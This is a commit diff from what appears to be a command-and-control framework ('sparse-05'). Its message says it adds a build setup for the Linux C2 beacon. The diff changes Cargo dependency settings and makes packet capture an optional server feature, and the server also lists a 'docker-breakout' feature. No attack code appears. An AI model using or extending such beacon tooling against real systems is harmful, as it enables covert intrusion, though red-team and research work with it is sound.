Finished adding a basic flake

It can now build the Linux C2 beacon

sparse-05/sparse-05-client/Cargo.toml

@@ -10,10 +10,12 @@ ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
 ed25519-dalek = "1.0.1"
 libc = "0.2.147"
 rand = "0.7"
-raw_tty = "0.1.0"
 rmp-serde = "1.1.2"
 serde = { version = "1.0.188", features = ["derive"] }
 sparse-05-common = { version = "0.1.0", path = "../sparse-05-common" }
 structopt = { version = "0.3.26", features = ["paw"] }
 tempfile = "3.8.0"
 tokio = { version = "1.32.0", features = ["io-std", "net", "fs", "macros", "rt"] }
+
+[target.'cfg(unix)'.dependencies]
+raw_tty = "0.1.0"

sparse-05/sparse-05-server/Cargo.toml

@@ -16,13 +16,13 @@ catconf = "0.1.2"
 sparse-05-common = { version = "0.1.0", path = "../sparse-05-common" }
 ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
 packets = { path = "../../packets" }
-
-[target.'cfg(unix)'.dependencies]
-pcap-sys = { path = "../../pcap-sys" }
+pcap-sys = { path = "../../pcap-sys", optional = true }
 
 [build-dependencies]
 cc = "1.0"
 
 [features]
+default = ["pcap"]
 docker-breakout = []
 exit = []
+pcap = ["dep:pcap-sys"]

sparse-05/sparse-05-server/src/interface.rs

@@ -9,7 +9,7 @@ use packets::{self, EthernetPkt};
 use sparse_05_common::messages::TransportType;
 
 pub enum Interface {
-    #[cfg(target_os = "linux")]
+    #[cfg(feature = "pcap")]
     RawUdp(pcap_sys::Interface<pcap_sys::DevActivated>, u16),
     Udp(UdpSocket, u16),
 }